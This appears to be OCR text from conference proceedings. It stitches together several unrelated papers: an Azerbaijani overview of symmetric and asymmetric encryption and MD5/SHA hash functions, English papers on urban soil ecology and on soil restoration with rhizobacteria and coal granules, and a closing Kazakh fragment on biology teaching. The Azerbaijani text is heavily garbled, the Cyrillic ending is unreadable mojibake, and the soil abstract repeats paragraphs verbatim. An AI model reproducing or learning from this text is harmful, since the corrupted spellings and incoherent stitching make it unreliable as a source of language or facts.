encryption) funksiyasini dastaklayan mesajlasma programlarinda (masalan, WhatsApp va Signal),
malumatlarin tahllkasizliyi tamin edilir. Bundan alavs, blockchain texnologiyasinda sifraleama
kriptovalyutalarin vae ragamsal identifikasiya sistemlarinin tahlikasiz saxlaniimasinda mihim rol
oynayir. Bununla bels, sifralomanin effektivliyi asasan acarlarin idara olunmasindan asilidir.
Sifralema acarlarinin dizgln idars edilmamasi ciddi tahllkasizlik risklarina sabab ola bilar. Bu
sababdan acarlarin tahllikasiz saxlaniimasi ve mitamadi olarag yenilanmasi son daraca vacibdir.

SIMMETRIK V@ ASIMMETRIK SIFROLOMS: FORQLOR V3 ISTIFADS SAHILSRI

Sifralama sistemlari iki asas kateqgoriyaya bolinlr: simmetrik va asimmetrik sifralama. Har
iki név sifralema malumatlarin tahlikasizliyini tamin etmak Ucln istifads olunsa da, onlarin islama
prinsiplari, Gstlnliklari va tatbig sahalari arasinda ciddi farglar mévcuddur.

Simmetrik sifralama. Simmetrik sifralomada eyni agcar ham malumatlari sifralamak, ham
da onlari desifraloamak Ucln istifada olunur. Bu, simmetrik sifralamani daha siratli va resurs
baximindan effektiv edir. ©sas alqoritmlar arasinda Advanced Encryption Standard (AES), Data
Encryption Standard (DES) ve Triple DES yer alir. Simmetrik sifraloma daha cox boyik hacmli
malumatlarin slratli va tahlikasiz 6tlrilmasi Ggln istifads olunur. Masalan, banklar arasinda
malumat mibadilasinda va malumatlarin yerli disklarda saxlanmasinda genis tatbig olunur. Bruce
Schneier-in asarinda geyd olundugu kimi, simmetrik sifralema daha az hesablama glicl taleb
etdiyindan resurs mahdudiyyati olan cihazlarda (masalan, loT qurgularinda) daha alverislidir [1].

Asimmetrik sifraloama. Acig va gizli olmagla iki fargli acar dastine asaslanir. Agiq acar
malumatlari sifralomak Ucgln istifade olunur va genis auditoriya ila paylasilir, gizli acar ise
malumatlari desifralomak Ucln saxlanilir. Bu texnologiya adatan malumatlarin dogrulugunun
yoxlanilmasinda va identifikasiyanin tamin edilmasinda tatbiq edilir. RSA (Rivest-Shamir-Adleman)
va ElGamal an cox istifada edilan asimmetrik sifralama alqoritmlaridir. Asimmetrik sifraloma daha
cox elektron imzalarin tasdiqi, sertifikatlarin dogrulanmasi va tahlikasiz acar mubadilasi Ugln
istifada olunur. Masalan, HTTPS protokolu asimmetrik sifralama texnologiyasina asaslanir.

Simmetrik va asimmetrik sifraleama arasinda bir neca asas farg mévcuddur:

1. Acar idarsetmasi. Simmetrik sifralomada yalniz bir acar talab olunur va bu agar ham

gbndaran, ham da gabul edan tarafindan paylasiimalidir. Asimmetrik sifralemadas isa
acig va gizli olmagla iki fargli acar istifads edilir, bu da acarlarin paylasilmasini daha

tohlikasiz edir.
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2. Sirat. Simmetrik sifraloama asimmetrikdan daha siratlidir, ciinki daha az hesablama

amaliyyat talab edir.

3. Tatbiq sahalari. Simmetrik sifraloma asasan malumatlarin 6tirtlmasi va saxlanmasi

Ucln istifade olunur. Asimmetrik sifraloma isa daha cox autentifikasiya va acar
mubadilasi kimi proseslarda tatbiqg edilir.

Simmetrik sifraloma sirat va effektivlik talab olunan yerlards tatbiq edilir. Masalan, virtual
0zal sabakalarda (VPN) istifade olunan malumat kanallarinda simmetrik algoritmlardan istifads
edilir. Digar tarafdan, asimmetrik sifraloama tahllkasizlik ve autentifikasiya talab olunan sahalards
tatbig olunur. Kriptografik sertifikatlar, elektron ticarat amaliyyatlari va regemsal imza sistemlari
bunun misahdir.

Real diinyada sifraleama sistemlari adatan ham simmetrik, ham da asimmetrik algoritmlarin
birgs istifadasina asaslanir. Masalen, TLS (Transport Layer Security) protokolu avvalca acar
mibadilasi Ggln asimmetrik sifralamadan istifada edir, daha sonra ise malumatlari 6tirmak Ggin
simmetrik sifralamaya kecir. Bu yanasma ham tahlikasizlik, ham da sirat tamin edir [2].

SIMMETRIK SIFROLOM®S ALQORITMLORI: SAS PRINSIPLOR VO TOTBIQLOR
Simmetrik sifralama algoritmlari, sifraleama va desifraloma prosesinda eyni acarin istifads
olundugu sifralema metodlaridir. Bu algoritmlar malumatlarin maxfiliyini tamin etmak Ucln
kodlasdirma amsaliyyatlarini yerina yetirir va yiksak siratlari ila farglanir. Simmetrik sifralams,
asasan, boylk hacmli malumatlarin sifralenmasi Uclin istifads olunur va resurs baximindan effektiv
bir hall tagqdim edir. Malumatlarin yalniz icazali saxslar tarafindan oxuna bilacayi bir tahlikasizlik
saviyyasi tamin etmak Ucln simmetrik algoritmlar muasir informasiya texnologiyasinda genis
tatbig edilir. Simmetrik sifralama algoritmlari iki asas komponenta- sifraloma acari va algoritmik
amaliyyatlara asaslanir. Sifreleama acari malumatlar sifralemak va desifraloemak (gln istifada
olunan eyni acardir. Bu acarin maxfiliyi sistemin tahlUkasizliyinin asasidir. Algoritmik amaliyyatlar
isa simmetrik sifraleama malumatlarin kodlasdirilmasi Gglin mixtslif riyazi amaliyyatlardan istifads
edir. Bu amaliyyatlar naticasinda ilkin malumat tamamilsa taninmaz hala galir va yalniz dogru acar
vasitasila yenidan oxuna bilan formaya qaytarila bilir. Simmetrik sifraloma algoritmlari asasan blok
va axin (stream) sifralema novlarina bollinur. Blok sifralema, malumatlari misyyan uzunluglu
bloklara ayirarag har bloku ayrica sifralayir. Axin sifralama isa malumati bir bit va ya bayt
saviyyasinda islayir va daha suratli islamayi tamin edir.
Simmetrik sifraloma Gcln bir neca mashur algoritm mévcuddur:
1. AES (Advanced Encyption Standard)
AES hazirda an genis istifada olunan va tahlikasiz simmetrik sifralema algoritmlarindan
biridir. 128, 192 va 256 bitlik acar uzunluglarini dastaklayir va ylksak saviyyada
tahlikasizlik temin edir. ABS hokumati AES-i milli tahlUkasizlik malumatlarinin
gorunmasi U¢ln standart kimi gabul edib [3].
2. DES (Data Encryption Standard)
DES 1970-ci illarda hazirlanmis ilk genis yayilmis simmetrik sifraleama standartidir. 56
bitlik acar uzunluguna malikdir va zamanla mahdudiyystlari sababindan mdiasir
tolablara cavab vermakds c¢atinlik ¢akir. Bu sebabdan DES, Triple DES (3DES) kimi
takmillasdirilmis versiya ila avaz olunub.

3. 3DES (Triple DES)
DES-in zaifliklarini aradan galdirmagq Ugln yaradilan 3DES, har blok malumati (¢ dafa
fargli acarlarla sifralayir. Bu, tahllikasizlik saviyyasini artirsa da, performans baximindan
daha zaifdir.

4. Blowfish va Twofish
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Blowfish sUratli va cevik bir algoritmdir, asasan parol goruma sistemlarinds istifada
olunur. Onun takmillasdirilmis versiyasi olan Twofish isa daha genis tatbiqg sahalarina
malikdir va 128 bitlik acar uzunluglarini dastaklayir.

Simmetrik sifraloma malumatlarin disk ve ya bulud mihitinda tahlikasiz saxlanmasini
tamin edir. Masalan, AES texnologiyas! bir cox disk sifralama programlarinda tatbiqg edilir. Virtual
0zal sabakalarda (VPN) malumatlarin tahltkasiz 6tirilmasi Ggln simmetrik algoritmlardan istifada
olunur. Mobil programlarda malumatlarin ucdan-uca gorunmasini tamin etmak Uc¢ln simmetrik
sifralama metodlarindan istifads edilir. Simmetrik sifraloama yiksak slrati va sadaliyi ila farglanir.
Bu, xUsusan da real vaxtda boyik hacmli malumatlarin islenmasi Ggln slverislidir. Lakin acarlarin
paylasimi va idara olunmasi ciddi ¢atinliklar yaradir. 9gar acar sizarsa, bitlin sifralama sisteminin
tahllkasizliyi pozula bilar.

ASIMMETRIK SIFROLOMD ALQORITMLORI VO ACIQ ACAR KRIPTOQRAFIYASI
Asimmetrik sifralema, muasir kriptografiyanin asas sttunlarindan biridir ve malumatlarin
tahllkasiz sakilda 6tlrilmasi Ggln vacib bir texnologiyadir. Bu sifralema metodunda, malumatlari
sifralamak va ya desifralamak Gciln iki mixtalif acar istifads olunur: birincisi, acig acar (public key),
har kasin istifads etmasi lcln algatandir va malumatin sifralenmasi Uclin istifada edilir; ikincisi,
0zal acar (private key) isa yalniz malumat sahibina maxsusdur ve malumatin desifralanmasi Ugln
istifada edilir. Asimmetrik sifraloma sistemlari agiq ve 6zal acarlarin istifadasini tamin edarak,
tahllikasiz kommunikasiya Uclin lazimli olan asas prinsiplari qoruyur [4]. Asimmetrik sifraleama
metodlari iki @sas prinsipi shats edir: aciq acar va 6zal acar. Aciq acar har kasin alda eds bilacayi
va malumatlarin sifralenmasi Ucln istifada edilan acardir. Bu acgarla sifralanmis malumatlar yalniz
uygun ©zal acar vasitasila desifralana bilar. Ozal acar iss yalniz malumat sahibinin alinds olmalidir
va sifralanmis malumatin yalniz bu acar vasitasila acila bilacayina zemanat verir. Bu, malumatlarin
tahllkasizliyini tamin edan asas mexanizmdir. Asimmetrik sifralemanin tahllkasizliyi, istifads
edilan acarlarin uzunlugundan va acarin neca idara edildiyindan asilidir.
9sas asimmetrik sifralama algoritmlari asagidakilardir:
1. RSA (Rivest-Shamir-Adleman)
RSA, diinyada an genis istifada edilan asimmetrik sifraleama alqoritmlarindan biridir. Bu
algoritm, boylk saylarin faktorizasiyasina asaslanir va malumatin sifralenmasi va
regamsal imzalarin yaradilmasi Ucgln istifada edilir. RSA-nin tahlikasizliyi, istifads
olunan acarin uzunluguna asaslanir; muasir dovrda an azi 2048 bitlik acarlarin istifada
olunmasi tovsiya edilir. Bu algoritm hamcinin malumatlarin autentifikasiyasi va
batovliyl Ggln de effektivdir.
2. Elliptik 9yri Kriptoqgrafiyasi (ECC)
Elliptik ayri kriptografiyasi (ECC), RSA ils mlgayisada daha az resurs istehlaki ila eyni
tahlikasizlik saviyyasini tamin edir. ECC, xUsusila mobil qurgular va loT cihazlari kimi
resurs mahdud cihazlar Ggln ideal bir secimdir. ECC, kicik acar uzunluglari ila boyuk
tahlikasizlik tamin etdiyi Gclin miasir kriptografiya sahasinds daha cox istifads
edilmaya baslanmisdir. ECC istifads edan algoritmlar arasinda ECDSA (Elliptic Curve
Digital Signature Algorithm) ve ECDH (Elliptic Curve Diffie-Hellman) nimunalari
movcuddur.
3. Diffie-Hellman Acar Mibadilasi (DH)
Diffie-Hellman algoritmi, asasan iki taraf arasinda gizli bir acar mibadilasi Ggln istifada
olunur. Bu algoritm vasitasils, birbasa sifralanmis malumatlar étirtlmass ds, taraflar
arasinda tahlikasiz bir sifra yaratmag mimkuinddr. Diffie-Hellman algoritmi agiq acar
mubadilasini tamin edir va sifralanmis alagalar yaratmag Gclin genis tatbiq edilir. Lakin,
DH valniz acar mUbadilasi G¢clin nazards tutulmusdur va malumatin sifralanmasi Uclin

istifade edilmir.
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4. Digital Signature Algorithm (DSA)

Digital Signature Algorithm (DSA), regemsal imzalarin yaradilmasi va yoxlaniimasi Ggin
istifade olunan bir alqgoritmdir. Bu algoritm, verilan malumatin manbayinin
dogrulugunu teamin etmak Ucln genis istifade edilir. DSA, hamcinin malumatlarin
batovidylni yoxlamaga komak edir ve malumatin  6tdrilmasi zamani onun
dayisdirilmadiyina zamanat verir. DSA, asasan ragamsal imzalar lgin istifads olunsa da,
digar kriptografik algoritmlarla birlikda da tatbiq oluna bilar.

Asimmetrik sifraloma, mixtalif sahalarda genis tatbig tapir. Bunlar arasinda elektron
imzalar, tahlikasiz internet alagalari (masalan, SSL/TLS), regamsal sertifikatlar va kriptovalyutalar
(Bitcoin va s.) asas yer tutur. Elektron imzalar, sanadlarin dayisdiriimadiyini va gdéndaranin kim
oldugunu tasdiq edan vacib bir texnologiyadir. Ragamsal sertifikatlar ve SSL/TLS protokollari
internet Gzarindan tahllikssiz malumat otirilmasini tamin edir. Kriptovalyutalar iss asimmetrik
sifraloamanin glclndan istifade edarsk ragamsal oOdanis sistemlarini qurur. Asimmetrik
sifralamanin an bdylk Ustlinliyl, malumatlarin tahlikasiz sekilde otlrilmasi lGg¢ln slava bir
infrastruktur qurulmasina ehtiyac olmamasidir. Malumat géndaran va gabul edan taraflar yalniz
acig ve 6zal acarlardan istifads edarak tahlikasiz alags qura bilarlar. Bununla yanasl, asimmetrik
sifralama simmetrik sifralemaya nisbatan daha cox hesablama glicl talab edir, buna géra da boyiik
hacmli malumatlarin sifralenmasi Uglin cox tasirli olmaya bilar.

HASH FUNKSIYALARI VO SIFROLOM®O: MD5, SHA-1, SHA-256

Hash funksiyalari, kriptografik algoritmlarin mihim komponentlarindan biridir va
malumatlarin tahlikasizliyi, butlinlliyl va autentifikasiyasi Ucln genis istifads edilir. Bu funksiyalar,
verilan malumati miayyan bir uzunluga malik, sabit 6lctll bir giymata (hash dayari) cevirir. Hash
funksiyalarinin an mihim xUsusiyystlarindan biri, eyni giris malumatinin hamisa eyni hash dayarini
yaratmasidir. Ancag bu funksiyalarin sifrelema ila garisdirilmamasi vacibdir, cinki sifralama
malumati gizlestmak magsadi dasiyir, hash funksiyalari iss vyalniz malumatin dogrulugunu
tasdiglamak glin istifads olunur.

MD5 (Message Digest Algorithm 5), an cox istifada olunan hash funksiyalarindan biridir va
malumatin 128-bit (16 bayt) uzunlugunda bir hash dayari yaradir. Bu algoritm, malumatlarin
biatovltydni yoxlamaqg va qisa malumatlarin tamsil edilmasi Ucln ideal idi. MD5 funksiyasi,
xUsusan zamaninda genis istifada olunmasina baxmayaraqg, muasir tahlUkasizlik talablari il uygun
galmir. 1996-ci ildan etibaran MD5-da muayyan zaifliklar askar edilib, buna gora da tacribadas
daha tahllkasiz variantlarin istifadasi tovsiya edilir. MD5 funksiyasinin zaifliklari, carpaz carpanlar
va garsihgli qarsiligh hiicumlarla alagali masalalari 6zinds ahata edir [5].

SHA-1 (Secure Hash Algorithm 1), 160-bit (20 bayt) uzunlugunda bir hash dayari yaradan
bir funksiyadir va ABS Milli Standartlar va Texnologiyalar institutu (NIST) tarsfindsn 1993-ci ilda
tartib edilmisdir. SHA-1, MD5-a nisbatan daha tahlikasiz hesab edilsa da, 2005-ci ildan sonra onun
zaifliklari da askar olunmaga baslamisdir. Hamcinin, SHA-1 Gzarinda aparilan mixtslif analizlar, bir
nec¢a fargli giris Ucln eyni hash dayarinin alda olunmasinin mimkin oldugunu gdstardi. Bu hal,
xUsusile ragamsal imzalar va sertifikatlar Ggln tahllkasizlik risklari yaradir. Hazirda SHA-1-in
istifadasi, bir cox mitaxassis tarafindan kdhnalmis ve zaif hesab edilir va yerina daha glicli hash
funksiyalari, masalan, SHA-256 istifada edilmsalidir [6].

SHA-256, SHA-2 ailasinin bir hissasi olan va 256-bit (32 bayt) uzunlugunda hash dayari
yaradan bir funksiyadir. SHA-2, NIST tarafinden 2001-ci ilds tagdim edilmisdir ve daha avvalki
versiyalarina nisbatan daha ylksak tahlikasizlik tamin edir. Bu hash funksiyasi, muasir kriptografiya
va malumatlarin tahlikasizliyi sahasinda genis istifade olunur. SHA-256, xlisusan, Bitcoin kimi
kriptovalyutalarda istifade olunan asas kriptografik algoritm olaraqg taninir. SHA-256-nin tahlili
gostarir ki, bu funksiyanin zaifliklari hals askar olunmayib va moévcud an glcli hash
funksiyalarindan biridir. MUasir sifralema protokollarinda, masalan, SSL/TLS sertifikatlarinda, SHA-
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256 tahllkasizliyin tamin edilmasinda istifada edilir. Onun asas UstlUnlUyd, xUsusila garsiligl
garsihgli hiicumlara garsi migavimat gostarmasidir va bu da onun daha genis gabul edilmasina
sabab olmusdur [7].

Hash funksiyalari mixtalif tatbiglarda genis istifada olunur:

Ragamsal imzalar. Ragamsal imza algoritmlari, malumatlarin diizglinliyidni va orijinalligini
tamin etmak Ucln hash funksiyalarindan istifada edir. Ragamsal imza, hamgcinin malumatin
dayisdirilmadiyini va imza sahibinin kimliyini tasdig edir. Burada hash funksiyasi, malumati
avvalcadan muayysn edilmis bir dlcliida tamsil edarak imzanin yaradilmasi prosesindas istifads
olunur.

Malumatlarin BitlnlUyd Yoxlamasi. Hash funksiyalari, malumatin 6ttrtlmasi zamani onun
dayisdirilmadiyini yoxlamaq dcin de istifada edilir. Bu, xUsusile fayl otlrilmasi ve sabaka
alagalarinda vacibdir. Malumatin hash dayari gondarildikdan sonra garsi taraf tarafindan yoxlanilir
va har hansi bir dayisiklik askar edilarsa, malumatin manipulyasiya olundugu anlasilr.

Parol yaddas sistemlari. Parol saxlama sistemlari, istifadacinin sifrasini aciq sakilda
saxlamamagq Ucln hash funksiyalarindan istifada edir. Bu zaman parolun 6zU deyil, yalniz hash
dayari saxlanilir. Hatta malumatlarin girilmasi halinda bels, orijinal parolun tapilmasi ¢atinlasdirilir.

Hash funksiyalarinin asas UstlnlUyl onlarin siratli va effektiv olmasidir. Malumatin daxil
edilmasi va naticada alda olunan hash dayari tez bir zamanda yaranir. Lakin, hash funksiyalarinin
bir sira mahdudiyyatlari da mévcuddur. Masalan, MD5 va SHA-1 kimi kéhnalmis funksiyalar artig
tahllkasizlik risklari yaradir va onlarin istifadasi miasir sifralama talablarina cavab vermir.
Hamgcinin, hash funksiyalari yalniz malumatin dogrulugunu tasdiq edir va malumatin gizliliyini
tamin etmir.
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Abstract

The modern era is also characterized by the presence of global problems, which require
special attention to land. Thus, a number of current environmental problems, such as global
climate change, ozone layer depletion, chemical pollution of the atmosphere, desertification, even
local radioactive pollution, biodiversity loss, surface water pollution, etc. Some of them were
formed due to the direct or indirect disruption of soil functions as a result of anthropogenic effects
[and today the ones listed are no longer a problem to be solved by a single country, that is, they
are of a global nature. Its prevention is one of the issues that humanity will solve together today.

As a result of anthropogenic effects, urbanization can be mentioned as a form of
manifestation of the disturbance of the ecological functions of the land. Thus, urbanization is a
global process that results in the change of both physico-chemical and biological components of
the soil and is expanding, intensifying.

First of all, it should be noted that the increasing urbanization results in the observation
of at least certain differences in the ecological functions performed by soils in the urban
environment and outside this environment. Although the soils formed within the boundaries of
the urboecosystem also play a role as a natural soil cover as the main environment-creative
component and realize the biogeochemical cycle of substances, ensure the transformation of
surface water into groundwater, etc.

Increasing urbanization leads to the use of larger areas for this purpose. This, naturally,
both activates and expands the intervention of modern, or rather, intelligent man in the
environment, as a result of which irreversible situations occur in the environment.

Sometimes the soil cover itself can become a source of pollution, especially in
urboecosystems. Thus, in megacities and large industrial centers, most of the land surface,
sometimes up to 90%, is covered with asphalt-concrete pavement, residential buildings, industrial
complexes, etc. under it. As a result, a significant part of the polluted sediments bypasses the soil
body and enters water bodies and river networks through sewage. This allows us to note once
again that urbanization should be noted as a factor that causes the deterioration of land-specific
functions, primarily ecological ones.

Key words: urban land, urbanization, urboecosystem, pollution

Soil, which is considered the upper surface of the earth, is usually considered a natural
cover that regulates the interaction between the biosphere, hydrosphere and atmosphere.
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According to some opinions, the soil layer, as a biogeomembrane, affects and determines many
processes occurring in the biosphere, as well as acting as a buffer, absorbing, neutralizing and
destroying various pollutants.

Anthropogenic renewal and disturbance of land cover can have a negative effect on their
performance of important ecological functions, which in turn can result in the disturbance of
functions specific to the biosphere as a whole. For this reason, it is important to constantly keep
the soil in the center of attention, to study its biological and biochemical state, and to study its
changes as a result of human activity.

The modern era is also characterized by the presence of global problems, which require
special attention to land. Thus, a number of current environmental problems, such as global
climate change, ozone layer depletion, chemical pollution of the atmosphere, desertification, even
local radioactive pollution, biodiversity loss, surface water pollution, etc. Some of them were
formed due to the direct or indirect disruption of soil functions as a result of anthropogenic effects
[1], and today those listed are no longer a problem to be solved by one country, that is, they are
of a global nature. Its prevention is one of the issues that humanity will solve together today.

As a result of anthropogenic effects, urbanization can be mentioned as a form of
manifestation of the disturbance of the ecological functions of the land. Thus, urbanization is a
global process that results in the change of both physico-chemical and biological components of
the soil and is expanding, intensifying.

First of all, it should be noted that the increasing urbanization results in the observation
of at least certain differences in the ecological functions performed by soils in the urban
environment and outside this environment. Although the soils formed within the boundaries of
the urboecosystem also play a role as a natural soil cover as the main environment-creative
component and realize the biogeochemical cycle of substances, ensure the transformation of
surface water into groundwater, etc.

The soil cover in the urban environment performs various ecological functions, the main
and most important of which is its suitability for the cultivation of greenery and its ability to collect
pollutants and prevent them from entering the soil-groundwater, as well as preventing dust from
entering the city air. In addition, it acts as an effective absorber of gas mixtures released from
automobile transport and industrial enterprises, acts as an obstacle in the path of pollutants, and
can participate in the regulation of the gas content of the atmosphere.

Increasing urbanization leads to the use of larger areas for this purpose. This, naturally,
both activates and expands the intervention of modern, or rather, intelligent man in the
environment, as a result of which irreversible situations occur in the environment.

Disruption of the functional cycle as a result of anthropogenic activity in the urban
environment depends on the source and type of human intervention. It is interesting that in most
cases their results are evaluated from a negative direction. Thus, from the point of view of
recreation, urban ecosystems are not considered valuable compared to ecosystems that maintain
their naturalness, urboecosystems are characterized by the disruption of the biological cycle and
the deterioration of biodiversity both in terms of species composition and structural-functional
characteristics, and the increase in the number of pathogenic microorganisms [2]. In addition, the
soils in the urban environment differ from natural soils in terms of water capacity and physical-
chemical properties. Urban soils are often rich in construction debris and household waste, which
makes its pH more alkaline.

In urban ecosystems, the soil cover should be considered as a system of interacting
components or a whole system of objects that have specific characteristics at a certain level of
organization. Under the influence of environmental factors, changes in the structure and functions
of individual components of such systems result in the restructuring of the operating modes of all
systems. The systems of the considered whole objects are not only natural, but also dependent
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on anthropogenic factors and are very sensitive to environmental changes [3]. It should be noted
that in most parts of the urban area, the natural soil cover is destroyed and it remains in the form
of small islands in city parks and green spaces. Urban soils depend on the nature of their
formation, humus formation, the degree of profile disturbance, the amount of constituent
elements, etc. they differ according to their characteristics. Most of the soil cover of cities is
characterized by the absence of genetic horizons, the presence of layers of artificial origin, which
differ in color and strength. These are used in systematization of urban land.

According to the system proposed by M.A. Stroganova urban land is divided into the
following types:

+ Urban soils (Urbanozems) - this type of urban soils have a profile consisting of a
dusty-humus substrate of different strength and quality.

» Agricultural lands (Agrourbozems) - the lands where the city's fruit and botanical
gardens and melons are located belong here.

» Necrosites - this type of urban land includes those used for cemeteries.

* Industrial lands (Industries) - this type of urban land includes lands in industrial-
communal zones, which are heavily anthropogenically polluted with heavy metals
and other toxic substances, and sometimes the level of pollution is even higher than
the normative indicators.

J
* Intrasoils (Intryzems) - this type of urban soil is formed as a result of oil and oil
products entering the soil as a result of accidents in the transport system or as a
result of irresponsible economic activities of people at gas stations and parking lots.
N

* Construction soils (Construktozem) - this type includes soils of different
granulometric composition and origin and purposefully artificially created according

to the profile of the natural model of soils with a productive humus layer. )

* Screening soils (ekranozem) - this type of urban soil is considered to be under
asphalt-concrete and stone cover.

) - €€ - €< < - ¢

As it can be seen, urban soils are characterized by a wide variety, and in addition to them,
man-made soils (technozem) are also mentioned as a type in the classification of urban soils.
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Soils also play an important role in the urban environment, and their ecological functions
are important and diverse. Urban soils, which perform the function of forming the environment,
can also change the chemical composition of atmospheric sediments and groundwater, and at the
same time, they can be universal absorbers of pollutants and regulators of the amount of various
gases in the atmospheric air.

True, sometimes the soil cover itself can become a source of pollution, especially in
urboecosystems. Thus, in megacities and large industrial centers, most of the land surface,
sometimes up to 90%, is covered with asphalt-concrete pavement, residential buildings, industrial
complexes, etc. under it. As a result, a significant part of the polluted sediments bypasses the soil
body and enters water bodies and river networks through sewage. This allows us to note once
again that urbanization should be noted as a factor that causes the deterioration of land-specific
functions, primarily ecological ones.
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Abstract: Soil restoration using microbial biomass and coal granulation systems through
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Soil microorganisms play a crucial role in ensuring plant nutrition and improving soil
structure. Microbial biomass forms the foundation of soil's organic composition. This biomass
delivers humus and other nutrients to the soil through the decomposition of organic waste.
Additionally, microorganisms establish connections with the plant root system, absorbing nitrogen
and converting it into a form accessible to plants. The impact of rhizobacteria:

Rhizobacteria are microorganisms that play a vital role in soil's microbial community. They
engage in a symbiotic relationship with plant root systems, absorbing atmospheric nitrogen and
converting it into a form beneficial to plants. As a result, soil enrichment with nitrogen occurs,
ensuring the formation of essential nutrients for plant growth and development. The coal
granulation system is used to improve the physical and chemical properties of the soil. This system
enables efficient delivery of beneficial substances from coal to the soil. Coal granules improve the
soil’s water and air permeability, which in turn affects the better development of plant root
systems. Furthermore, coal absorbs toxins from the soil, creating a favorable environment for
microorganisms|2].

Soil degradation is one of the main issues in agriculture. The use of microbial biomass and
coal granulation systems improves soil structure and increases its fertility. This, in turn, reduces
dependency on chemical fertilizers and helps restore the natural fertility of the soil. The ecological
significance of maintaining soil fertility is profound, as it creates conditions for proper plant
development and ensures long-term agricultural productivity.
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Rhizobacteria improve the natural nitrogen cycle in the soil. They absorb atmospheric
nitrogen and convert it into a form available for plants. This process reduces the use of nitrogen
fertilizers, thereby lowering the ecological impact of fertilizer production and usage. Chemical
fertilizers can pollute soil and water resources and harm ecological balance. Methods that
enhance microbial activity in the soil help maintain ecosystem stability. The activity of microbial
communities facilitates the decomposition of organic matter and the formation of minerals,
ensuring the long-term fertility of soil. Additionally, organic substances introduced into the soil
through coal granulation improve its structure and water and air permeability, which aids in
maintaining ecosystem balance. The use of chemical pesticides and fertilizers causes harmful
ecological effects, negatively impacting soil, water resources, and plant development. The use of
microbial biomass and natural materials provides an ecologically safe alternative. These methods
increase the number of beneficial microorganisms in the soil, while reducing the activity of harmful
bacteria and fungi, which is important for maintaining ecosystem balance.

To restore soil, rhizobacteria are introduced through the following methods:

- Root system inoculation with rhizobacteria: This method involves introducing
rhizobacteria into the soil before planting seeds or using seed treatment for the plant root system.

- Introduction of liquid or granulated forms of microorganisms into the soil: Rhizobacteria
are added in liquid or granulated forms to the soil to help enhance their biological activity.

- Increasing microbial biomass: By increasing microbial activity in the soil, its structure and
fertility can be improved. Microbial biomass provides nutrients to the soil through the
decomposition of organic waste. The primary principle of this method is to increase the variety of
microbial species in the soil, improving plant nutrition.

1. Relevance of the Research Topic

In recent years, soil degradation and reduced fertility have posed a threat to agriculture
and ecological stability. One of the modern technologies and biological methods for soil
restoration is the use of rhizobacteria. Additionally, the coal granulation system plays an important
role in ensuring the physical stability of the soil while creating a long-term organic matter
reservoir[1].

1.1.  Theoretical Basis

Rhizobacteria are microorganisms that form a symbiotic relationship with plant roots,
perform nitrogen fixation, and improve the plant's nutrient exchange. Additionally, the coal
granulation system strengthens soil structure and helps increase the stable supply of organic
matter. The combination of these two methods optimizes the biological, physical, and chemical
properties of the soil[4].

2. Research Methods

Research Area: Agricultural lands with different soil types (loamy, sandy, and clayey soils).
Plant Species: Local agricultural crops and horticultural plants.

2.1. Experiment
- Control group: Soil samples without additional treatment.

- Rhizobacteria-treated group: Introduction of selected rhizobacterial strains.
- Combined group: Introduction of rhizobacteria, microbial biomass, and the coal

granulation system[3].
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2.2. Materials and Reagents

- Rhizobacterial strains: Microorganisms adapted to different ecological conditions,
interacting symbiotically with plants.

- Microbial biomass: A microbial soil mixture prepared from organic waste and natural
additives.

- Coal granulation system: An innovative technology based on organic coal additives,
micro-trackers, and bioactivators[3].

2.3. Measurement Methods and Analytical Technologies

Physicochemical Analysis

- Key parameters: pH level, water permeability, air and water conductivity, soil organic
matter content.

- Analytical tools: IR spectroscopy, mass spectrometry, and classical chemical reagents.

- Plant physiology: Measurement of plant biomass, photosynthesis productivity, and root
system development.

- Microbial community: Determination of microbial diversity in soil using polymerase chain
reaction (PCR) methods (e.g., 16S rRNA gene sequencing).

- Statistical Analysis: Data processing through ANOVA, correlation analysis, and regression
modeling to determine the statistical significance of experimental results[3].

3.  Soil Physicochemical Properties

- Organic matter content: The carbon content in the soil increased by 15-25%, ensuring the
formation of a stable organic matter reservoir.

- Water and air permeability: Additional organic additives improved soil structure and
optimized water and air exchange.

- pH level adjustment: Optimal balance between soil acidity and alkalinity was maintained in
the experimental groups(4].

3.1. Changes in Microbial Community

- Quantitative increase of microorganisms: The introduction of additional microbial
biomass and rhizobacteria increased the number of beneficial microorganisms in the soil by 40—
50%.

- Ecosystem dynamics: The diversity and stability of the microbial community structure
positively affected plant growth and the soil restoration process[5].



«Foundations and Trends in Research» (April 3-4, 2025). Copenhagen, Denmark

4. Discussion
4.1. Scientific Importance of the Method

- Ecosystem restoration: The synergistic effect of rhizobacteria and the coal granulation
system improves the physical and chemical properties of the soil, ensuring long-term ecosystem
stability.

- Agricultural applications: This method enhances plant growth productivity, improving
both the quality and quantity of agricultural products.

- Organic carbon formation: The addition of organic matter positively impacts the carbon
cycle in the soil, contributing to climate change mitigation.

4.2. Limitations of the Method and Future Research Directions

- Regional characteristics: Experimental results may vary under different climatic and soil
conditions. Future research should focus on region-specific experiments.

- Compatibility of rhizobacteria: Selecting rhizobacterial strains adapted to various plant
species and soil types and investigating their compatibility in greater depth is essential.

- Time factors: Long-term research projects are needed to monitor the dynamics of the soil
restoration process.

- Technological optimization: Additional technological improvements and experiments are
needed to adapt microbial biomass and coal granulation systems for industrial-scale use[8].

5. Conclusion

The method of soil restoration based on rhizobacteria significantly improves the physical
and chemical properties and ecological stability of the soil through the integration of microbial
biomass and coal granulation systems. This method stimulates plant growth, boosts agricultural
productivity, and aids in ecosystem restoration. Future research should focus on conducting
region-specific experimental studies, further exploring the functional features of rhizobacteria,
and continuing technological optimization.
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BuomeamumMHa KaHe agam AeHCayblfbl
(7-cbiHbIn) (ABTOPABIK DafaapaamaHbl
ToXipnbeae KonaaHy KaHe 3epTrey
HaTUXKenepi)

bostaeBa XKynabi3 bopaHbaeBHa
«AnmaTbl Kanacbl binim 6ackapmacbiHbiH, «N2 147 rumHasma» KMM, buosio2usa naHi
MYFanimi

AHAaTna. byn maKkanaga 7-CbiHbIN OKyLWbI1apblHA apHanfaH «bruomeauLUMHa KaHe afgam
AeHcaynblFbl» aBTOP/bIK DafdapnamacbiHbiH, 6inim Bepy npoueciHe eHridinyi meH HaTUxRenepi
cunatTanadbl. bafaapnama  OKywblnapapiH - OUMONOTMANBIK — CayaTTbIAbIFbIH,  AEHCAY/bIKKA
)KayankepwinikneH KapayblH }KaHe MeAMLUMHANbIK aKNapaTTbl CbiHW TypPFblAaH Kabblnaay KabineTiH
Ka/biNTacTbipyfa DafbiTTanfaH. ABTOpAbIK Hafaapnama 6apbiCbiHAA KONAAHbINFAH d4icTemenep,
